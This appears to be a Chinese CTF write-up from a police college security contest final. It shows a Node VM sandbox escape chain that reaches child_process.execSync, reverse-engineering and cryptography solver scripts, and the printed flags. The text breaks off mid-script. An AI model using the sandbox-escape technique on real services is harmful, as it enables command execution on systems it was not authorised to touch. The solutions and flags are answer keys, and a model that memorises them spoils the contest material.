浙江警察学院第九届信息网络安全竞赛决赛-wp

admin 2026-06-30 08:14:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档为浙江警察学院第九届信息网络安全竞赛决赛的官方Write-up,详细记录了login.phpXXE漏洞利用、Flask应用session伪造与IPv6注入、PHP反序列化链构造等赛题解法。通过代码审计发现XML外部实体加载、命令注入、POP链触发等安全漏洞,提供完整的攻击Payload和自动化脚本,具备实战参考价值。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,代码审计,红队


Step 3: 上传并获取 Flag

python3 make_png.py
curl -s -F "[email protected];type=image/png" http://TARGET/upload

服务端执行 payload 后,result.abc 的值即为 cat /flag* 的输出,直接返回在页面 <pre> 标签中。

Payload 执行原理:

  1. new Proxy({}, {get: ...}) — 返回一个 Proxy 对象作为 VM 的执行结果
  2. 宿主代码读取 .abc 时触发 get trap
  3. arguments.callee.caller 拿到宿主 renderForConsole 函数
  4. .constructor.constructor 拿到宿主 Function 构造器
  5. F("return process")() 获取 process 对象
  6. 通过 process.mainModule.require 调用 child_process.execSync 执行系统命令

Flag

flag{ba1621d4-1e45-492b-930b-74e62c1a77b5}

signin_chal.exe

概要

这题是一个 64 位 Windows PE。实际分析后发现没有必要深入控制流,flag 明文直接放在 .rdata 段里,因此用静态字符串提取就能拿到答案。

解题过程

Step 1: 快速静态检查

对附件做基础侦察后,可以得到几个关键信息:

  • 64 位 PE,可执行文件
  • 非 .NET 程序
  • 导入表很少,只有 KERNEL32.dll 和 msvcrt.dll
  • 未发现复杂壳特征,但存在一个超大的异常节 .ry+

随后直接扫描可打印字符串,很快命中唯一的 flag 样式文本:

ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}

进一步定位发现:

  • 该字符串位于文件原始偏移 0x2400
  • 正好落在 .rdata 段起始位置
  • 周边是普通只读数据,没有额外混淆

这说明这题至少在拿 flag 这一层,不需要动态调试。

Step 2: 直接提取 flag

下面的脚本从二进制中搜索 ZJPCTF{...} 并直接打印:

import&nbsp;re
from&nbsp;pathlib&nbsp;import&nbsp;Path

def&nbsp;main():
&nbsp; &nbsp; data = Path("signin_chal.exe").read_bytes()
&nbsp; &nbsp; match = re.search(rb"ZJPCTF\\{[^}]+\\}", data)
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;match:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit("flag not found")
&nbsp; &nbsp; print(match.group(0).decode())

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

运行结果:

ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}

Flag

ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}

smc

概要

这题是一个带有自修改代码(SMC, self-modifying code)的 ELF 程序,运行时会先用 RC4 解密若干受保护函数。虽然外层做了代码加密,但真正的校验逻辑并不复杂:输入会经过三次查表替换,中间伴随两次基于 rand() 的固定洗牌,最后与 .rodata 中的 44 字节常量做比较。

解题过程

Step 1: 还原受保护代码逻辑

程序是一个 64 位、未 strip 的 ELF,符号和节名都还在,分析入口比较直接。二进制中存在四个加密代码节:

  • enc_main_sec
  • enc_change_sec
  • enc_shift_sec
  • enc_mirror_sec

辅助函数 decrypt_range() 的工作流程是:

  1. 用 mprotect 将对应代码页改为 RWX
  2. 使用 RC4 解密该代码段
  3. 执行对应受保护函数
  4. 再将页面权限恢复为 RX

RC4 的密钥明文保存在 .rodata 中:

ez_smc_rc4_key!

把四个加密节静态解密后,可以得到真实逻辑:

  • protected_main() 使用 scanf("%44s", buf) 读入输入
  • protected_change(buf) 执行:mirror(buf) -> shift() -> mirror(buf) -> shift() -> mirror(buf)
  • 最终通过 memcmp(buf, target, 44) 与目标常量比较

其中:

  • mirror() 会把每个输入字节替换为 table[byte]
  • table 位于 .data:0x404080,内容正好是 AES S-box
  • shift() 会对这张 256 字节表做一次 Fisher-Yates 洗牌
  • 程序中没有调用 srand(),因此 rand() 序列固定,洗牌结果完全可复现

Step 2: 逆向恢复原始输入

由于最终比较的目标字节序列直接存放在 .rodata 中,而两次 shift() 都由固定的 rand() 序列决定,我们只需要:

  1. 从附件中提取初始 S-box
  2. 用 glibc 默认种子 1 重放两次洗牌
  3. 分别构造三张表的逆映射
  4. 按 inv(T2) -> inv(T1) -> inv(T0) 的顺序把目标常量逆回去

下面这份脚本从附件 smc 直接恢复 flag:

from&nbsp;pathlib&nbsp;import&nbsp;Path

TARGET_RAW_OFFSET =&nbsp;0x2020
TARGET_LEN =&nbsp;44
SBOX_RAW_OFFSET =&nbsp;0x3080
SBOX_LEN =&nbsp;256

def&nbsp;glibc_rand_stream(seed: int =&nbsp;1):
&nbsp; &nbsp; state = [0] *&nbsp;344
&nbsp; &nbsp; state[0] = seed
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(1,&nbsp;31):
&nbsp; &nbsp; &nbsp; &nbsp; state[i] = (16807&nbsp;* state[i -&nbsp;1]) %&nbsp;2147483647
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(31,&nbsp;34):
&nbsp; &nbsp; &nbsp; &nbsp; state[i] = state[i -&nbsp;31]
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(34,&nbsp;344):
&nbsp; &nbsp; &nbsp; &nbsp; state[i] = (state[i -&nbsp;31] + state[i -&nbsp;3]) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; idx =&nbsp;344
&nbsp; &nbsp;&nbsp;while&nbsp;True:
&nbsp; &nbsp; &nbsp; &nbsp; state.append((state[idx -&nbsp;31] + state[idx -&nbsp;3]) &&nbsp;0xFFFFFFFF)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;yield&nbsp;state[idx] >>&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; idx +=&nbsp;1

def&nbsp;shift_table(table: list[int], rand_iter):
&nbsp; &nbsp; table = table[:]
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(255,&nbsp;0,&nbsp;-1):
&nbsp; &nbsp; &nbsp; &nbsp; j = next(rand_iter) % (i +&nbsp;1)
&nbsp; &nbsp; &nbsp; &nbsp; table[i], table[j] = table[j], table[i]
&nbsp; &nbsp;&nbsp;return&nbsp;table

def&nbsp;inverse_table(table: list[int]):
&nbsp; &nbsp; inv = [0] *&nbsp;256
&nbsp; &nbsp;&nbsp;for&nbsp;i, value&nbsp;in&nbsp;enumerate(table):
&nbsp; &nbsp; &nbsp; &nbsp; inv[value] = i
&nbsp; &nbsp;&nbsp;return&nbsp;inv

def&nbsp;main():
&nbsp; &nbsp; blob = Path("smc").read_bytes()
&nbsp; &nbsp; target = blob[TARGET_RAW_OFFSET:TARGET_RAW_OFFSET + TARGET_LEN]
&nbsp; &nbsp; sbox0 = list(blob[SBOX_RAW_OFFSET:SBOX_RAW_OFFSET + SBOX_LEN])

&nbsp; &nbsp; rand_iter = glibc_rand_stream(1)
&nbsp; &nbsp; sbox1 = shift_table(sbox0, rand_iter)
&nbsp; &nbsp; sbox2 = shift_table(sbox1, rand_iter)

&nbsp; &nbsp; inv2 = inverse_table(sbox2)
&nbsp; &nbsp; inv1 = inverse_table(sbox1)
&nbsp; &nbsp; inv0 = inverse_table(sbox0)

&nbsp; &nbsp; stage2 = bytes(inv2[b]&nbsp;for&nbsp;b&nbsp;in&nbsp;target)
&nbsp; &nbsp; stage1 = bytes(inv1[b]&nbsp;for&nbsp;b&nbsp;in&nbsp;stage2)
&nbsp; &nbsp; flag = bytes(inv0[b]&nbsp;for&nbsp;b&nbsp;in&nbsp;stage1)
&nbsp; &nbsp; print(flag.decode())

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

运行结果:

ZJPCTF{5c64736c-1c58-44dc-9c5d-88f7e3f8cac3}

Flag

ZJPCTF{5c64736c-1c58-44dc-9c5d-88f7e3f8cac3}

ezAES

Summary

题目脚本直接把 ciphertextivkey 都打印出来了,所以不需要爆破,也不需要攻击 AES,本质上就是一次标准的 AES-CBC 解密。

Solution

Step 1: 读取脚本里打印出的参数并直接解密

附件末尾的三引号里已经给了 civkey。把它们解析出来后直接 AES-CBC 解密,再去掉末尾的 \x00 填充即可。

import&nbsp;ast
import&nbsp;re
from&nbsp;pathlib&nbsp;import&nbsp;Path

from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AES

text = Path("task (8).py").read_text(encoding="utf-8")
block = re.findall(r"'''(.*?)'''", text, re.S)[-1]
vals = [ast.literal_eval(line.strip())&nbsp;for&nbsp;line&nbsp;in&nbsp;block.strip().splitlines()]

ciphertext, iv, key = vals
flag = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext).rstrip(b"\x00")
print(flag.decode())

Flag

ZJPCTF{3c49a538-5af2-477f-b40b-0066be19132e}

网络迷踪

Summary

题目给出一个 Android 风格的 WebDefenderClient、配置文件、数据库和加密日志。 核心思路是逆向日志加密函数,发现日志使用 config.ini 中的 log_key 作为密钥,经过 TEA 变种加密后输出为十六进制;解密日志即可看到访问 /flag 时的响应体。

Solution

Step 1: 分析日志加密方式

根据 README.md,本题目标是解密日志文件并找到 flag。

配置文件中存在关键字段:

"log_key":&nbsp;"c2M1Z2R3ZnMzcC1z"

逆向 WebDefenderClient 的日志模块后,可以定位到:

turn_log_message_to_hex()
log_mask()
build_tk()

加密流程如下:

  1. 将明文日志按字节处理;
  2. 使用 PKCS#7 风格补齐到 8 字节倍数;
  3. 每 8 字节分成两个大端 32 位整数;
  4. 使用 32 轮 TEA 变种加密;
  5. delta = 0x5a827999
  6. key 直接使用字符串 "c2M1Z2R3ZnMzcC1z",不是 Base64 解码后的结果;
  7. 最后将密文转为 hex 写入日志。

因此只需要写出对应的逆运算即可恢复日志明文。

import&nbsp;re
import&nbsp;json
from&nbsp;pathlib&nbsp;import&nbsp;Path

CONFIG_PATH =&nbsp;"config.ini"
LOG_PATH =&nbsp;"2026-05-29-20-54-08.log"

DELTA =&nbsp;0x5A827999
ROUNDS =&nbsp;32

def&nbsp;u32(x):
&nbsp; &nbsp;&nbsp;return&nbsp;x &&nbsp;0xffffffff

def&nbsp;build_key(key_str: str):
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; 程序直接使用 config.ini 中的 log_key 字符串本身。
&nbsp; &nbsp; 取前 16 字节,不足则补 0,然后按大端拆成 4 个 uint32。
&nbsp; &nbsp; """
&nbsp; &nbsp; raw = key_str.encode()[:16].ljust(16,&nbsp;b"\x00")
&nbsp; &nbsp;&nbsp;return&nbsp;[
&nbsp; &nbsp; &nbsp; &nbsp; int.from_bytes(raw[0:4],&nbsp;"big"),
&nbsp; &nbsp; &nbsp; &nbsp; int.from_bytes(raw[4:8],&nbsp;"big"),
&nbsp; &nbsp; &nbsp; &nbsp; int.from_bytes(raw[8:12],&nbsp;"big"),
&nbsp; &nbsp; &nbsp; &nbsp; int.from_bytes(raw[12:16],&nbsp;"big"),
&nbsp; &nbsp; ]

def&nbsp;decrypt_block(block: bytes, key):
&nbsp; &nbsp; v0 = int.from_bytes(block[0:4],&nbsp;"big")
&nbsp; &nbsp; v1 = int.from_bytes(block[4:8],&nbsp;"big")

&nbsp; &nbsp; s = u32(DELTA * ROUNDS)

&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(ROUNDS):
&nbsp; &nbsp; &nbsp; &nbsp; v1 = u32(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v1 - (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; u32((v0 <<&nbsp;4) + key[2])
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ u32(v0 + s)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ u32((v0 >>&nbsp;5) + key[3])
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp; v0 = u32(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v0 - (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; u32((v1 <<&nbsp;4) + key[0])
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ u32(v1 + s)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ u32((v1 >>&nbsp;5) + key[1])
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp; s = u32(s - DELTA)

&nbsp; &nbsp;&nbsp;return&nbsp;v0.to_bytes(4,&nbsp;"big") + v1.to_bytes(4,&nbsp;"big")

def&nbsp;decrypt_hex_line(hex_text: str, key):
&nbsp; &nbsp; data = bytes.fromhex(hex_text)
&nbsp; &nbsp; plain =&nbsp;b"".join(
&nbsp; &nbsp; &nbsp; &nbsp; decrypt_block(data[i:i +&nbsp;8], key)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0, len(data),&nbsp;8)
&nbsp; &nbsp; )

&nbsp; &nbsp;&nbsp;# 去除 8 字节块加密前的 padding
&nbsp; &nbsp; pad = plain[-1]
&nbsp; &nbsp;&nbsp;if&nbsp;1&nbsp;<= pad <=&nbsp;8&nbsp;and&nbsp;plain.endswith(bytes([pad]) * pad):
&nbsp; &nbsp; &nbsp; &nbsp; plain = plain[:-pad]

&nbsp; &nbsp;&nbsp;return&nbsp;plain.decode("utf-8", errors="ignore")

def&nbsp;main():
&nbsp; &nbsp; config = json.loads(Path(CONFIG_PATH).read_text(encoding="utf-8"))
&nbsp; &nbsp; key = build_key(config["log_key"])

&nbsp; &nbsp; flag_re = re.compile(r"ZJPCTF\{[^}]+\}")

&nbsp; &nbsp;&nbsp;for&nbsp;line&nbsp;in&nbsp;Path(LOG_PATH).read_text(encoding="utf-8").splitlines():
&nbsp; &nbsp; &nbsp; &nbsp; m = re.search(r"([0-9a-fA-F]+)$", line)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;m:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp; &nbsp; &nbsp; plaintext = decrypt_hex_line(m.group(1), key)

&nbsp; &nbsp; &nbsp; &nbsp; flag = flag_re.search(plaintext)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;flag:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(plaintext)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print("FLAG =", flag.group(0))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return

&nbsp; &nbsp; print("flag not found")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

运行脚本后可以看到关键日志:

[TLS] NOT tls. conn: &nbsp;172.16.1.15:43088 -> 172.28.20.72:8000 method: GET URI: /flag
[HTTP Response Body] {"content": "ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}"}

脚本最终输出:

FLAG = ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}

Step 2: 验证

解密出的日志中,客户端访问了服务端的 /flag 路径:

GET URI: /flag

紧接着的 HTTP 响应体中直接包含 flag:

{"content":&nbsp;"ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}"}

因此该字符串就是最终答案。

Flag

ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}

easy_RSA

Summary

这题不是普通 RSA 分解,而是特殊素数构造。p + 1 由大量很小的素数相乘得到,所以适合用 Williams p+1 分解先把 p 从 n 中拆出来。

Solution

Step 1: 利用 p + 1 光滑性分解出 p

附件中的 getprime(505) 实际上是在反复乘小素数,直到 n - 1 成为素数,因此 p + 1 非常光滑。 这正好命中 Williams p+1 分解。

Step 2: 由 d = inverse(q^2, p^2) 恢复 q,再开平方得到明文

题目给出:

d = inverse(q^2, p^2)

所以可以先求出:

q^2 = inverse(d, p^2) mod p^2

对模 p^2 开平方,枚举根并检查谁能整除 n / p,即可恢复 q。 最后由 cipher = c^e mod n 且 c = m^2 mod r,先在模 r 下去掉 RSA 指数,再对 c 开平方,还原 m

import&nbsp;re
from&nbsp;math&nbsp;import&nbsp;gcd, log2
from&nbsp;pathlib&nbsp;import&nbsp;Path

from&nbsp;sympy&nbsp;import&nbsp;isprime, primerange, sqrt_mod

def&nbsp;long_to_bytes(x):
&nbsp; &nbsp; x = int(x)
&nbsp; &nbsp;&nbsp;return&nbsp;x.to_bytes((x.bit_length() +&nbsp;7) //&nbsp;8,&nbsp;"big")

def&nbsp;V_k(x, k, mod):
&nbsp; &nbsp;&nbsp;if&nbsp;k ==&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;2&nbsp;% mod
&nbsp; &nbsp;&nbsp;if&nbsp;k ==&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;x % mod
&nbsp; &nbsp; a, b =&nbsp;2&nbsp;% mod, x % mod
&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(2, k +&nbsp;1):
&nbsp; &nbsp; &nbsp; &nbsp; a, b = b, (x * b - a) % mod
&nbsp; &nbsp;&nbsp;return&nbsp;b

def&nbsp;find_p_by_williams_p1(n):
&nbsp; &nbsp; primes = list(primerange(2,&nbsp;1010))
&nbsp; &nbsp;&nbsp;for&nbsp;P&nbsp;in&nbsp;range(3,&nbsp;200):
&nbsp; &nbsp; &nbsp; &nbsp; g = gcd(P * P -&nbsp;4, n)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;1&nbsp;< g < n:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;g
&nbsp; &nbsp; &nbsp; &nbsp; x = P % n
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;l&nbsp;in&nbsp;primes:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; times = int(506&nbsp;// log2(l)) +&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(times):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x = V_k(x, l, n)
&nbsp; &nbsp; &nbsp; &nbsp; g = gcd(x -&nbsp;2, n)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;1&nbsp;< g < n:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;g
&nbsp; &nbsp;&nbsp;raise&nbsp;ValueError("p not found")

text = Path("task_4.py").read_text(encoding="utf-8")
n = int(re.search(r"n=(\d+)", text).group(1))
d = int(re.search(r"d = (\d+)", text).group(1))
cipher = int(re.search(r"cipher = (\d+)", text).group(1))
e =&nbsp;65537

p = find_p_by_williams_p1(n)
N = n // p

mod = p * p
q2_mod = pow(d,&nbsp;-1, mod)
roots = sqrt_mod(q2_mod, mod, all_roots=True)

q =&nbsp;None
r =&nbsp;None
for&nbsp;root&nbsp;in&nbsp;roots:
&nbsp; &nbsp;&nbsp;for&nbsp;cand&nbsp;in&nbsp;(int(root), int((mod - root) % mod)):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;cand >&nbsp;1&nbsp;and&nbsp;N % cand ==&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; q = cand
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r = N // q
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp;&nbsp;if&nbsp;q&nbsp;is&nbsp;not&nbsp;None:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

er = pow(e,&nbsp;-1, r -&nbsp;1)
c = pow(cipher, er, r)

for&nbsp;m&nbsp;in&nbsp;sqrt_mod(c, r, all_roots=True):
&nbsp; &nbsp; flag = long_to_bytes(m)
&nbsp; &nbsp;&nbsp;if&nbsp;flag.startswith(b"ZJPCTF{"):
&nbsp; &nbsp; &nbsp; &nbsp; print(flag.decode())
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

Flag

ZJPCTF{19f673a5-d634-1c0e-f144-9eebe42f6565}

fangzhinimimabao0

Summary

这题就是单层 ROT47。附件只有一行密文,对所有可打印字符做一次 ROT47 逆变换就能直接得到 flag。

Solution

Step 1: 对密文做 ROT47 解密

ROT47 的定义是在 ASCII 可打印区间 [33, 126] 上循环平移 47 位。 把附件内容读出来,对每个可打印字符做一次变换即可。

from&nbsp;pathlib&nbsp;import&nbsp;Path

def&nbsp;rot47(s):
&nbsp; &nbsp; out = []
&nbsp; &nbsp;&nbsp;for&nbsp;ch&nbsp;in&nbsp;s:
&nbsp; &nbsp; &nbsp; &nbsp; o = ord(ch)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;33&nbsp;<= o <=&nbsp;126:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.append(chr(33&nbsp;+ ((o -&nbsp;33&nbsp;+&nbsp;47) %&nbsp;94)))
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.append(ch)
&nbsp; &nbsp;&nbsp;return&nbsp;"".join(out)

cipher = Path("防止你爆0.txt").read_text(encoding="utf-8").strip()
print(rot47(cipher))

Flag

ZJPCTF{t@1ban&l3_n1_m3iyou_b@00}

听说你们学密码的都有sympy

Summary

题目里真实模数是 n = p^4 * q,但没有把 n 打印出来。不过它给了一个很关键的泄露:

hint1 = inverse(e, lcm(p - 1, q - 1)) % (p - 1)

这会直接把 p - 1 的倍数关系暴露出来,因此可以从 hint1 反推出 p

Solution

Step 1: 用 e * hint1 - 1 = k * (p - 1) 枚举恢复 p

因为:

e * hint1 ≡ 1 (mod p - 1)

所以:

e * hint1 - 1 = k * (p - 1)

而 e = 65537 很小,直接枚举 k = 1..65536 即可。 找到 512-bit 素数候选后,就恢复出了 p

Step 2: 只在模 p^4 下解密

虽然完整的 n 不知道,但明文很短,满足 m < p < p^4。 所以只要在模 p^4 下做 RSA 解密,就已经能恢复真正的明文,不需要继续求 q

import&nbsp;re
from&nbsp;pathlib&nbsp;import&nbsp;Path

import&nbsp;sympy&nbsp;as&nbsp;sp

def&nbsp;long_to_bytes(n):
&nbsp; &nbsp; n = int(n)
&nbsp; &nbsp;&nbsp;return&nbsp;n.to_bytes((n.bit_length() +&nbsp;7) //&nbsp;8,&nbsp;"big")

text = Path("task.py").read_text(encoding="utf-8")
c = int(re.search(r"# c = (\d+)", text).group(1))
hint1 = int(re.search(r"# hint1 = (\d+)", text).group(1))

e =&nbsp;65537
K = e * hint1 -&nbsp;1

p =&nbsp;None
for&nbsp;k&nbsp;in&nbsp;range(1, e):
&nbsp; &nbsp;&nbsp;if&nbsp;K % k ==&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; cand = K // k +&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;cand.bit_length() ==&nbsp;512&nbsp;and&nbsp;sp.isprime(cand):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p = cand
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

mod = p **&nbsp;4
phi = p **&nbsp;3&nbsp;* (p -&nbsp;1)
d = pow(e,&nbsp;-1, phi)
m = pow(c % mod, d, mod)

print(long_to_bytes(m).decode())

Flag

ZJPCTF{they_s@1d_1ts_ez_pow_d0y0uthlnks0}

ge

Summary

这题是“同一明文、同一未知模数 n、多个超大指数 e_i 的 RSA”。 题目故意不输出 n,提示里的“格格”其实就在暗示“格 / LLL / lattice”。

Solution

Step 1: 用 LLL 找出指数之间的小整数关系

如果存在一组整数:

a1*e1 + a2*e2 + ... + ak*ek = 0

那么就有:

c1^a1 * c2^a2 * ... * ck^ak ≡ 1 (mod n)

把正负指数分开后,可得到一个整数差值 P - Q,它一定是 n 的倍数。 用 LLL 找出很多这样的短关系,再对这些倍数做 gcd,就能把隐藏的 n 挖出来。

Step 2: 恢复 n 后做普通共模攻击

一旦拿到 n,只要找到一对互素指数 e_i, e_j,用扩展欧几里得求出:

s*e_i + t*e_j = 1

就可以恢复:

m = c_i^s * c_j^t mod n
import&nbsp;ast
import&nbsp;re
import&nbsp;sys
from&nbsp;pathlib&nbsp;import&nbsp;Path

import&nbsp;gmpy2
import&nbsp;sympy&nbsp;as&nbsp;sp
from&nbsp;fpylll&nbsp;import&nbsp;IntegerMatrix, LLL

sys.set_int_max_str_digits(0)

def&nbsp;long_to_bytes(x):
&nbsp; &nbsp; x = int(x)
&nbsp; &nbsp;&nbsp;return&nbsp;x.to_bytes((x.bit_length() +&nbsp;7) //&nbsp;8,&nbsp;"big")

def&nbsp;prod_tree(arr):
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;arr:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1
&nbsp; &nbsp;&nbsp;while&nbsp;len(arr) >&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp; arr = [
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; arr[i] * arr[i +&nbsp;1]&nbsp;if&nbsp;i +&nbsp;1&nbsp;< len(arr)&nbsp;else&nbsp;arr[i]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0, len(arr),&nbsp;2)
&nbsp; &nbsp; &nbsp; &nbsp; ]
&nbsp; &nbsp;&nbsp;return&nbsp;arr[0]

text = Path("ge.py").read_text(encoding="utf-8")
es = ast.literal_eval(re.search(r"# es = (\[.*?\])\n# cs =", text, re.S).group(1))
cs = ast.literal_eval(re.search(r"# cs = (\[.*?\])", text, re.S).group(1))

d = len(es)
M =&nbsp;1&nbsp;<<&nbsp;60
B = IntegerMatrix(d, d +&nbsp;1)

for&nbsp;i, e&nbsp;in&nbsp;enumerate(es):
&nbsp; &nbsp; B[i, i] =&nbsp;1
&nbsp; &nbsp; B[i, d] = e * M

LLL.reduction(B, delta=0.99)

relations = []
for&nbsp;r&nbsp;in&nbsp;range(d):
&nbsp; &nbsp; v = [int(B[r, j])&nbsp;for&nbsp;j&nbsp;in&nbsp;range(d)]
&nbsp; &nbsp;&nbsp;if&nbsp;sum(v[i] * es[i]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(d)) ==&nbsp;0&nbsp;and&nbsp;any(v):
&nbsp; &nbsp; &nbsp; &nbsp; relations.append(v)

G =&nbsp;0
for&nbsp;v&nbsp;in&nbsp;relations[:13]:
&nbsp; &nbsp; pos = []
&nbsp; &nbsp; neg = []
&nbsp; &nbsp;&nbsp;for&nbsp;a, c&nbsp;in&nbsp;zip(v, cs):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;a >&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pos.append(pow(c, a))
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;a <&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; neg.append(pow(c, -a))
&nbsp; &nbsp; D = abs(prod_tree(pos) - prod_tree(neg))
&nbsp; &nbsp; G = gmpy2.mpz(D)&nbsp;if&nbsp;G ==&nbsp;0&nbsp;else&nbsp;gmpy2.gcd(G, gmpy2.mpz(D))

n = int(G)
for&nbsp;p&nbsp;in&nbsp;sp.primerange(2,&nbsp;100000):
&nbsp; &nbsp;&nbsp;while&nbsp;n % p ==&nbsp;0&nbsp;and&nbsp;n // p > max(cs):
&nbsp; &nbsp; &nbsp; &nbsp; n //= p

for&nbsp;i&nbsp;in&nbsp;range(len(es)):
&nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(i +&nbsp;1, len(es)):
&nbsp; &nbsp; &nbsp; &nbsp; g, s, t = gmpy2.gcdext(es[i], es[j])
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;int(g) !=&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp; &nbsp; &nbsp; s = int(s)
&nbsp; &nbsp; &nbsp; &nbsp; t = int(t)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;s >=&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x = pow(cs[i], s, n)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x = pow(pow(cs[i],&nbsp;-1, n), -s, n)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;t >=&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; y = pow(cs[j], t, n)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; y = pow(pow(cs[j],&nbsp;-1, n), -t, n)

